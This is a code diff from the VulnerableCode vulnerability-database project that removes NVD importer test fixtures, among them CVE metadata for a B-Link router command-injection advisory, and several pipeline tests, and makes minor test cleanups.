"modifiedVulnIntegrityImpact": "NOT_DEFINED", - "modifiedVulnAvailabilityImpact": "NOT_DEFINED", - "modifiedSubConfidentialityImpact": "NOT_DEFINED", - "modifiedSubIntegrityImpact": "NOT_DEFINED", - "modifiedSubAvailabilityImpact": "NOT_DEFINED", - "Safety": "NOT_DEFINED", - "Automatable": "NOT_DEFINED", - "Recovery": "NOT_DEFINED", - "valueDensity": "NOT_DEFINED", - "vulnerabilityResponseEffort": "NOT_DEFINED", - "providerUrgency": "NOT_DEFINED", - }, - } - ], - "cvssMetricV31": [ - { - "source": "cna@vuldb.com", - "type": "Secondary", - "cvssData": { - "version": "3.1", - "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", - "baseScore": 3.5, - "baseSeverity": "LOW", - "attackVector": "ADJACENT_NETWORK", - "attackComplexity": "LOW", - "privilegesRequired": "LOW", - "userInteraction": "NONE", - "scope": "UNCHANGED", - "confidentialityImpact": "NONE", - "integrityImpact": "NONE", - "availabilityImpact": "LOW", - }, - "exploitabilityScore": 2.1, - "impactScore": 1.4, - }, - { - "source": "nvd@nist.gov", - "type": "Primary", - "cvssData": { - "version": "3.1", - "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - "baseScore": 7.5, - "baseSeverity": "HIGH", - "attackVector": "NETWORK", - "attackComplexity": "LOW", - "privilegesRequired": "NONE", - "userInteraction": "NONE", - "scope": "UNCHANGED", - "confidentialityImpact": "NONE", - "integrityImpact": "NONE", - "availabilityImpact": "HIGH", - }, - "exploitabilityScore": 3.9, - "impactScore": 3.6, - }, - ], - "cvssMetricV30": [ - { - "source": "nvd@nist.gov", - "type": "Primary", - "cvssData": { - "version": "3.0", - "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - "baseScore": 7.5, - "baseSeverity": "HIGH", - "attackVector": "NETWORK", - "attackComplexity": "LOW", - "privilegesRequired": "NONE", - "userInteraction": "NONE", - "scope": "UNCHANGED", - "confidentialityImpact": "NONE", - "integrityImpact": "NONE", - "availabilityImpact": "HIGH", - }, - "exploitabilityScore": 3.9, - "impactScore": 3.6, - } - ], - "cvssMetricV2": [ - { - "source": "cna@vuldb.com", - "type": "Secondary", - "cvssData": { - "version": "2.0", - "vectorString": "AV:A/AC:L/Au:S/C:N/I:N/A:P", - "baseScore": 2.7, - "accessVector": "ADJACENT_NETWORK", - "accessComplexity": "LOW", - "authentication": "SINGLE", - "confidentialityImpact": "NONE", - "integrityImpact": "NONE", - "availabilityImpact": "PARTIAL", - }, - "baseSeverity": "LOW", - "exploitabilityScore": 5.1, - "impactScore": 2.9, - "acInsufInfo": False, - "obtainAllPrivilege": False, - "obtainUserPrivilege": False, - "obtainOtherPrivilege": False, - "userInteractionRequired": False, - } - ], - }, - "weaknesses": [ - { - "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", - "type": "Secondary", - "description": [{"lang": "en", "value": "CWE-77"}], - } - ], - "configurations": [ - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:bl-wr9000_firmware:2.4.9:*:*:*:*:*:*:*", - "matchCriteriaId": "0D1A3280-9C15-4961-8C69-9ECE34528FDB", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:bl-wr9000:-:*:*:*:*:*:*:*", - "matchCriteriaId": "2D5ADB0D-6D03-448A-A0F3-7C238A20AF46", - } - ], - }, - ], - }, - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:bl-ac1900_firmware:1.0.2:*:*:*:*:*:*:*", - "matchCriteriaId": "BE554304-8F2B-40A1-98CB-DE641B4CCE61", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:bl-ac1900:-:*:*:*:*:*:*:*", - "matchCriteriaId": "2C5CA5E8-C497-475E-B0CE-6F54B6E9BFA8", - } - ], - }, - ], - }, - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:bl-ac2100_az3_firmware:1.0.4:*:*:*:*:*:*:*", - "matchCriteriaId": "05E31365-4655-4B8D-9B75-AE70292C12C3", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:bl-ac2100_az3:-:*:*:*:*:*:*:*", - "matchCriteriaId": "3B134A86-F380-4BE4-9CEC-5CBAE046CF8B", - } - ], - }, - ], - }, - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:bl-x10_ac8_firmware:1.0.5:*:*:*:*:*:*:*", - "matchCriteriaId": "AAA6D548-72E1-435B-8EDB-50C1C258CE9C", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:bl-x10_ac8:-:*:*:*:*:*:*:*", - "matchCriteriaId": "B153FF75-DDAF-4B43-8D54-C8211C607C2C", - } - ], - }, - ], - }, - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:bl-lte300_firmware:1.2.3:*:*:*:*:*:*:*", - "matchCriteriaId": "8907D058-539D-44B8-BC30-EC137B4C6841", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:bl-lte300:-:*:*:*:*:*:*:*", - "matchCriteriaId": "4CD2D0EC-F71B-4CD6-8013-EDCDE49B6BC9", - } - ], - }, - ], - }, - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:bl-f1200_at1_firmware:1.0.0:*:*:*:*:*:*:*", - "matchCriteriaId": "3DD8A5B3-0FF1-4512-9AEB-68A801956085", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:bl-f1200_at1:-:*:*:*:*:*:*:*", - "matchCriteriaId": "9391FA6B-40EF-4A53-9B38-3F5EA0611970", - } - ], - }, - ], - }, - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:bl-x26_ac8_firmware:1.2.8:*:*:*:*:*:*:*", - "matchCriteriaId": "FCE90D05-D32B-4C52-917C-024FB4814751", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:bl-x26_ac8:-:*:*:*:*:*:*:*", - "matchCriteriaId": "A13AD09A-4BF0-49B9-AB05-439D34413C81", - } - ], - }, - ], - }, - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:blac450m_ae4_firmware:4.0.0:*:*:*:*:*:*:*", - "matchCriteriaId": "5422B990-7572-42A1-89C4-D8FEEEC066ED", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:blac450m_ae4:-:*:*:*:*:*:*:*", - "matchCriteriaId": "A469F008-B95F-480C-A677-43E6D448FEEB", - } - ], - }, - ], - }, - { - "operator": "AND", - "nodes": [ - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": True, - "criteria": "cpe:2.3:o:b-link:bl-x26_da3_firmware:1.2.7:*:*:*:*:*:*:*", - "matchCriteriaId": "D3D8F5C4-F1A2-4E88-A795-DEAC4E77B3C1", - } - ], - }, - { - "operator": "OR", - "negate": False, - "cpeMatch": [ - { - "vulnerable": False, - "criteria": "cpe:2.3:h:b-link:bl-x26_da3:-:*:*:*:*:*:*:*", - "matchCriteriaId": "1C8F576A-7D13-4311-9FDD-9BFB4E5705D8", - } - ], - }, - ], - }, - ], - "references": [ - { - "url": "https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md", - "source": "cve@mitre.org", - "tags": ["Exploit"], - } - ], - } - } - - -def test_CveItem_severities(): - expected_severities = [ - VulnerabilitySeverity( - system=Cvssv4ScoringSystem( - identifier="cvssv4", - name="CVSSv4 Base Score", - url="https://www.first.org/cvss/v4-0/", - notes="CVSSv4 base score and " "vector", - ), - value="5.3", - scoring_elements="CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", - published_at=None, - url="https://nvd.nist.gov/vuln/detail/CVE-2025-45988", - ), - VulnerabilitySeverity( - system=Cvssv3ScoringSystem( - identifier="cvssv3.1", - name="CVSSv3.1 Base Score", - url="https://www.first.org/cvss/v3-1/", - notes="CVSSv3.1 base score and vector", - ), - value="3.5", - scoring_elements="CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", - published_at=None, - url="https://nvd.nist.gov/vuln/detail/CVE-2025-45988", - ), - VulnerabilitySeverity( - system=Cvssv3ScoringSystem( - identifier="cvssv3.1", - name="CVSSv3.1 Base Score", - url="https://www.first.org/cvss/v3-1/", - notes="CVSSv3.1 base score and vector", - ), - value="7.5", - scoring_elements="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - published_at=None, - url="https://nvd.nist.gov/vuln/detail/CVE-2025-45988", - ), - VulnerabilitySeverity( - system=Cvssv3ScoringSystem( - identifier="cvssv3", - name="CVSSv3 Base Score", - url="https://www.first.org/cvss/v3-0/", - notes="CVSSv3 base score and " "vector", - ), - value="7.5", - scoring_elements="CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", - published_at=None, - url="https://nvd.nist.gov/vuln/detail/CVE-2025-45988", - ), - VulnerabilitySeverity( - system=Cvssv2ScoringSystem( - identifier="cvssv2", - name="CVSSv2 Base Score", - url="https://www.first.org/cvss/v2/", - notes="CVSSv2 base score and vector", - ), - value="2.7", - scoring_elements="AV:A/AC:L/Au:S/C:N/I:N/A:P", - published_at=None, - url="https://nvd.nist.gov/vuln/detail/CVE-2025-45988", - ), - ] - - found_severities = nvd_importer.CveItem(cve_item=get_test_cve_item()).severities - assert found_severities == expected_severities - - -def test_CveItem_cpes(): - expected_cpes = [ - "cpe:2.3:o:b-link:bl-wr9000_firmware:2.4.9:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:bl-wr9000:-:*:*:*:*:*:*:*", - "cpe:2.3:o:b-link:bl-ac1900_firmware:1.0.2:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:bl-ac1900:-:*:*:*:*:*:*:*", - "cpe:2.3:o:b-link:bl-ac2100_az3_firmware:1.0.4:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:bl-ac2100_az3:-:*:*:*:*:*:*:*", - "cpe:2.3:o:b-link:bl-x10_ac8_firmware:1.0.5:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:bl-x10_ac8:-:*:*:*:*:*:*:*", - "cpe:2.3:o:b-link:bl-lte300_firmware:1.2.3:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:bl-lte300:-:*:*:*:*:*:*:*", - "cpe:2.3:o:b-link:bl-f1200_at1_firmware:1.0.0:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:bl-f1200_at1:-:*:*:*:*:*:*:*", - "cpe:2.3:o:b-link:bl-x26_ac8_firmware:1.2.8:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:bl-x26_ac8:-:*:*:*:*:*:*:*", - "cpe:2.3:o:b-link:blac450m_ae4_firmware:4.0.0:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:blac450m_ae4:-:*:*:*:*:*:*:*", - "cpe:2.3:o:b-link:bl-x26_da3_firmware:1.2.7:*:*:*:*:*:*:*", - "cpe:2.3:h:b-link:bl-x26_da3:-:*:*:*:*:*:*:*", - ] - - found_cpes = nvd_importer.CveItem(cve_item=get_test_cve_item()).cpes - assert found_cpes == expected_cpes - - -def test_is_related_to_hardware(): - assert nvd_importer.is_related_to_hardware("cpe:2.3:h:csilvers:gperftools:0.2:*:*:*:*:*:*:*") - assert not nvd_importer.is_related_to_hardware( - "cpe:2.3:a:csilvers:gperftools:0.1:*:*:*:*:*:*:*" - ) - assert not nvd_importer.is_related_to_hardware("cpe:2.3:a:csilvers:gperftools:*:*:*:*:*:*:*:*") - - -def test_CveItem_summary_with_single_summary(): - expected_summary = ( - "Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , " - "BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 " - "v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain multiple command " - "injection vulnerabilities via the cmd parameter in the bs_SetCmd function." - ) - - assert nvd_importer.CveItem(cve_item=get_test_cve_item()).summary == expected_summary - - -def test_CveItem_reference_urls(): - expected_urls = [ - "https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md" - ] - - assert nvd_importer.CveItem(cve_item=get_test_cve_item()).reference_urls == expected_urls diff --git a/vulnerabilities/tests/pipelines/test_pipeline_id.py b/vulnerabilities/tests/pipelines/test_pipeline_id.py index 0d1f04ea1..91cd8b125 100644 --- a/vulnerabilities/tests/pipelines/test_pipeline_id.py +++ b/vulnerabilities/tests/pipelines/test_pipeline_id.py @@ -59,6 +59,9 @@ def collect_v2_pipeline_ids(self): pipeline_dict = {} for obj in self._all_subclasses(VulnerableCodeBaseImporterPipelineV2): + # Skip test double pipelines defined under vulnerabilities.tests + if ".tests." in obj.__module__ or obj.__module__.startswith("vulnerabilities.tests"): + continue pipeline_dict[obj] = (obj.pipeline_id, obj.datasource_id) return pipeline_dict diff --git a/vulnerabilities/tests/pipelines/test_populate_vulnerability_summary_pipeline.py b/vulnerabilities/tests/pipelines/test_populate_vulnerability_summary_pipeline.py deleted file mode 100644 index 08b135afc..000000000 --- a/vulnerabilities/tests/pipelines/test_populate_vulnerability_summary_pipeline.py +++ /dev/null @@ -1,164 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import datetime -from pathlib import Path - -import pytz -from django.test import TestCase - -from vulnerabilities.models import Advisory -from vulnerabilities.models import Alias -from vulnerabilities.models import Vulnerability -from vulnerabilities.pipelines.populate_vulnerability_summary_pipeline import ( - PopulateVulnerabilitySummariesPipeline, -) - - -class PopulateVulnerabilitySummariesPipelineTest(TestCase): - def setUp(self): - self.data = Path(__file__).parent.parent / "test_data" - - def test_populate_missing_summaries_from_nvd(self): - """ - Test that vulnerabilities without summaries get them from NVD advisories. - """ - - # Create a vulnerability without a summary - vulnerability = Vulnerability.objects.create( - vulnerability_id="VCID-1234", - summary="", - ) - alias = Alias.objects.create(alias="CVE-2024-1234", vulnerability=vulnerability) - - # Create an NVD advisory with a summary - adv = Advisory.objects.create( - summary="Test vulnerability summary", - created_by="nvd_importer", - date_collected=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - unique_content_id="Test", - url="https://test.com", - ) - adv.aliases.add(alias) - - # Run the pipeline - pipeline = PopulateVulnerabilitySummariesPipeline() - pipeline.populate_missing_summaries() - - # Check that the vulnerability now has a summary - vulnerability.refresh_from_db() - self.assertEqual(vulnerability.summary, "Test vulnerability summary") - - def test_no_matching_advisory(self): - """ - Test handling of vulnerabilities that have no matching NVD advisory. - """ - # Create a vulnerability without a summary - vulnerability = Vulnerability.objects.create( - vulnerability_id="VCID-1234", - summary="", - ) - Alias.objects.create(alias="CVE-2024-1234", vulnerability=vulnerability) - - # Run the pipeline - pipeline = PopulateVulnerabilitySummariesPipeline() - pipeline.populate_missing_summaries() - - # Check that the vulnerability still has no summary - vulnerability.refresh_from_db() - self.assertEqual(vulnerability.summary, "") - - def test_vulnerability_without_alias(self): - """ - Test handling of vulnerabilities that have no aliases. - """ - - # Create a vulnerability without a summary or alias - vulnerability = Vulnerability.objects.create( - vulnerability_id="VCID-1234", - summary="", - ) - - # Run the pipeline - pipeline = PopulateVulnerabilitySummariesPipeline() - pipeline.populate_missing_summaries() - - # Check that the vulnerability still has no summary - vulnerability.refresh_from_db() - self.assertEqual(vulnerability.summary, "") - - def test_non_nvd_advisory_ignored(self): - """ - Test that advisories from sources other than NVD are ignored. - """ - - # Create a vulnerability without a summary - vulnerability = Vulnerability.objects.create( - vulnerability_id="VCID-1234", - summary="", - ) - alias = Alias.objects.create(alias="CVE-2024-1234", vulnerability=vulnerability) - - # Create a non-NVD advisory with a summary - adv = Advisory.objects.create( - summary="Test vulnerability summary", - created_by="other_importer", - date_collected=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - unique_content_id="Test", - url="https://test.com", - ) - - adv.aliases.add(alias) - - # Run the pipeline - pipeline = PopulateVulnerabilitySummariesPipeline() - pipeline.populate_missing_summaries() - - # Check that the vulnerability still has no summary - vulnerability.refresh_from_db() - self.assertEqual(vulnerability.summary, "") - - def test_multiple_matching_advisories(self): - """ - Test that the most recent matching advisory is used when there are multiple. - """ - vulnerability = Vulnerability.objects.create( - vulnerability_id="VCID-1234", - summary="", - ) - alias = Alias.objects.create(alias="CVE-2024-1234", vulnerability=vulnerability) - - # Create two NVD advisories with the same alias - adv1 = Advisory.objects.create( - summary="First matching advisory", - created_by="nvd_importer", - date_collected=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - unique_content_id="Test", - url="https://test.com", - ) - - adv1.aliases.add(alias) - - adv2 = Advisory.objects.create( - summary="Second matching advisory", - created_by="nvd_importer", - date_collected=datetime.datetime(2024, 1, 2, tzinfo=pytz.UTC), - unique_content_id="Test-1", - url="https://test.com", - ) - - adv2.aliases.add(alias) - - # Run the pipeline - pipeline = PopulateVulnerabilitySummariesPipeline() - pipeline.populate_missing_summaries() - - # Check that the vulnerability now has the most recent summary - vulnerability.refresh_from_db() - self.assertEqual(vulnerability.summary, "Second matching advisory") diff --git a/vulnerabilities/tests/pipelines/test_pypa_importer_pipeline.py b/vulnerabilities/tests/pipelines/test_pypa_importer_pipeline.py deleted file mode 100644 index 0bb631012..000000000 --- a/vulnerabilities/tests/pipelines/test_pypa_importer_pipeline.py +++ /dev/null @@ -1,34 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -from pathlib import Path -from unittest import TestCase - -import saneyaml - -from vulnerabilities.importers.osv import parse_advisory_data -from vulnerabilities.tests import util_tests - -TEST_DATA = Path(__file__).parent.parent / "test_data" / "pypa" - - -class TestPyPaImporterPipeline(TestCase): - def test_to_advisories_with_summary(self): - pypa_advisory_path = TEST_DATA / "pypa_test.yaml" - - mock_response = saneyaml.load(pypa_advisory_path.read_text()) - expected_file = os.path.join(TEST_DATA, "pypa-expected.json") - imported_data = parse_advisory_data( - mock_response, - ["pypi"], - "https://github.com/pypa/advisory-database/blob/main/vulns/pypa-expected.json", - ) - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/pipelines/test_pysec_importer_pipeline.py b/vulnerabilities/tests/pipelines/test_pysec_importer_pipeline.py deleted file mode 100644 index c38256c01..000000000 --- a/vulnerabilities/tests/pipelines/test_pysec_importer_pipeline.py +++ /dev/null @@ -1,60 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -from pathlib import Path -from unittest import TestCase - -from vulnerabilities.importers.osv import parse_advisory_data -from vulnerabilities.tests.util_tests import VULNERABLECODE_REGEN_TEST_FIXTURES as REGEN -from vulnerabilities.tests.util_tests import check_results_against_json - -TEST_DATA = Path(__file__).parent.parent / "test_data" / "pysec" - - -class TestPyPIImporter(TestCase): - def test_to_advisories_with_summary(self): - with open(TEST_DATA / "pysec-advisories_with_summary.json") as f: - mock_response = json.load(f) - results = parse_advisory_data(mock_response, ["pypi"], "https://test.com").to_dict() - - expected_file = TEST_DATA / "pysec-advisories_with_summary-expected.json" - check_results_against_json( - results=results, - expected_file=expected_file, - regen=REGEN, - ) - - def test_to_advisories_without_summary(self): - with open(TEST_DATA / "pysec-advisories_without_summary.json") as f: - mock_response = json.load(f) - - results = parse_advisory_data(mock_response, ["pypi"], "https://test.com").to_dict() - - expected_file = TEST_DATA / "pysec-advisories_without_summary-expected.json" - check_results_against_json( - results=results, - expected_file=expected_file, - regen=REGEN, - ) - - def test_to_advisories_with_cwe(self): - with open(TEST_DATA / "pysec-advisory_with_cwe.json") as f: - mock_response = json.load(f) - - results = parse_advisory_data( - raw_data=mock_response, supported_ecosystems=["pypi"], advisory_url="https://tes.com" - ).to_dict() - - expected_file = TEST_DATA / "pysec-advisories_with_cwe-expected.json" - check_results_against_json( - results=results, - expected_file=expected_file, - regen=REGEN, - ) diff --git a/vulnerabilities/tests/pipelines/test_remove_duplicate_advisories.py b/vulnerabilities/tests/pipelines/test_remove_duplicate_advisories.py deleted file mode 100644 index 0d7e682be..000000000 --- a/vulnerabilities/tests/pipelines/test_remove_duplicate_advisories.py +++ /dev/null @@ -1,133 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import datetime -from unittest.mock import patch - -import pytz -from django.test import TestCase -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.models import Advisory -from vulnerabilities.pipelines.remove_duplicate_advisories import RemoveDuplicateAdvisoriesPipeline - - -class TestRemoveDuplicateAdvisoriesPipeline(TestCase): - def setUp(self): - self.advisory_data = AdvisoryData( - summary="Test summary", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="npm", name="package1"), - affected_version_range="vers:npm/>=1.0.0|<2.0.0", - ) - ], - references=[Reference(url="https://example.com/vuln1")], - url="https://test.url/", - ) - - def test_remove_duplicates_keeps_oldest(self): - """ - Test that when multiple advisories have the same content, - only the oldest one is kept. - """ - from vulnerabilities.utils import compute_content_id - - # Create three advisories with same content but different dates - dates = [ - datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - datetime.datetime(2024, 1, 2, tzinfo=pytz.UTC), - datetime.datetime(2024, 1, 3, tzinfo=pytz.UTC), - ] - - advisories = [] - for i, date in enumerate(dates): - advisory = Advisory.objects.create( - unique_content_id=f"incorrect-content-id{i}", - url=self.advisory_data.url, - summary=self.advisory_data.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) - advisories.append(advisory) - - # Run the pipeline - pipeline = RemoveDuplicateAdvisoriesPipeline() - pipeline.execute() - - # Check that only the first advisory remains - remaining = Advisory.objects.all() - self.assertEqual(remaining.count(), 1) - self.assertEqual(remaining.first().date_imported, dates[0]) - - def test_different_content_preserved(self): - """ - Test that advisories with different content are preserved. - """ - # Create two advisories with different content - advisory1 = Advisory.objects.create( - unique_content_id="test-id1", - url="https://test.url/", - summary="Summary 1", - affected_packages=[], - date_collected=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - references=[], - date_imported=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - created_by="test_pipeline", - ) - - advisory2 = Advisory.objects.create( - unique_content_id="test-id2", - url="https://test.url/", - summary="Summary 2", - affected_packages=[], - references=[], - date_collected=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - date_imported=datetime.datetime(2024, 1, 2, tzinfo=pytz.UTC), - created_by="test_pipeline", - ) - - # Run the pipeline - pipeline = RemoveDuplicateAdvisoriesPipeline() - pipeline.execute() - - # Check that both advisories remain - self.assertEqual(Advisory.objects.count(), 2) - - def test_recompute_content_ids(self): - """ - Test that advisories without content IDs get them updated. - """ - from vulnerabilities.utils import compute_content_id - - # Create advisory without content ID - advisory = Advisory.objects.create( - unique_content_id="incorrect-content-id", - url=self.advisory_data.url, - summary=self.advisory_data.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data.references], - date_collected=datetime.datetime(2024, 1, 1, tzinfo=pytz.UTC), - created_by="test_pipeline", - ) - - # Run the pipeline - pipeline = RemoveDuplicateAdvisoriesPipeline() - pipeline.execute() - - # Check that content ID was updated - advisory.refresh_from_db() - expected_content_id = compute_content_id(advisory_data=self.advisory_data) - self.assertEqual(advisory.unique_content_id, expected_content_id) diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_apache_httpd_importer_pipeline_v2.py b/vulnerabilities/tests/pipelines/v2_importers/test_apache_httpd_importer_pipeline_v2.py index c8ac0bc2b..427b5399a 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_apache_httpd_importer_pipeline_v2.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_apache_httpd_importer_pipeline_v2.py @@ -90,7 +90,7 @@ def test_get_weaknesses_with_data_meta_structure(): # Tests for ApacheHTTPDImporterPipeline class DummyPipeline(ApacheHTTPDImporterPipeline): - datasource_id = "dummy" + datasource_id = "dummy_apache_httpd_test" pipeline_id = "dummy_pipeline" # Expose protected methods for testing pass diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_debian_importer.py b/vulnerabilities/tests/pipelines/v2_importers/test_debian_importer.py index 4474a5efd..1568a21d0 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_debian_importer.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_debian_importer.py @@ -14,7 +14,6 @@ from packageurl import PackageURL from univers.version_range import DebianVersionRange -from vulnerabilities.importer import AdvisoryData from vulnerabilities.importer import AdvisoryDataV2 from vulnerabilities.importer import AffectedPackageV2 from vulnerabilities.importer import ReferenceV2 diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_github_osv_importer_v2.py b/vulnerabilities/tests/pipelines/v2_importers/test_github_osv_importer_v2.py index ae9b6f75f..d17e5a6c9 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_github_osv_importer_v2.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_github_osv_importer_v2.py @@ -12,7 +12,6 @@ import pytest -from vulnerabilities.importer import AdvisoryData from vulnerabilities.importer import AdvisoryDataV2 from vulnerabilities.pipelines.v2_importers.github_osv_importer import GithubOSVImporterPipeline diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_mattermost_importer_v2.py b/vulnerabilities/tests/pipelines/v2_importers/test_mattermost_importer_v2.py index 06549b921..d8cb0fd47 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_mattermost_importer_v2.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_mattermost_importer_v2.py @@ -11,7 +11,6 @@ from packageurl import PackageURL from univers.version_range import GitHubVersionRange -from vulnerabilities.importer import AdvisoryData from vulnerabilities.importer import AdvisoryDataV2 from vulnerabilities.pipelines.v2_importers.mattermost_importer import MattermostImporterPipeline from vulnerabilities.pipelines.v2_importers.mattermost_importer import parse_vuln_ids diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_nvd_importer_v2.py b/vulnerabilities/tests/pipelines/v2_importers/test_nvd_importer_v2.py index 7c9d72eca..8fe5665d6 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_nvd_importer_v2.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_nvd_importer_v2.py @@ -25,7 +25,7 @@ def load_test_data(file): def sorted_advisory_data(advisory_data): """ - Return ``advisory_data`` of AdvisoryData mappings where each mapping nested + Return ``advisory_data`` of AdvisoryDataV2 mappings where each mapping nested list is sorted for stable testing results. """ sorter = lambda dct: tuple(dct.items()) diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_oss_fuzz_v2.py 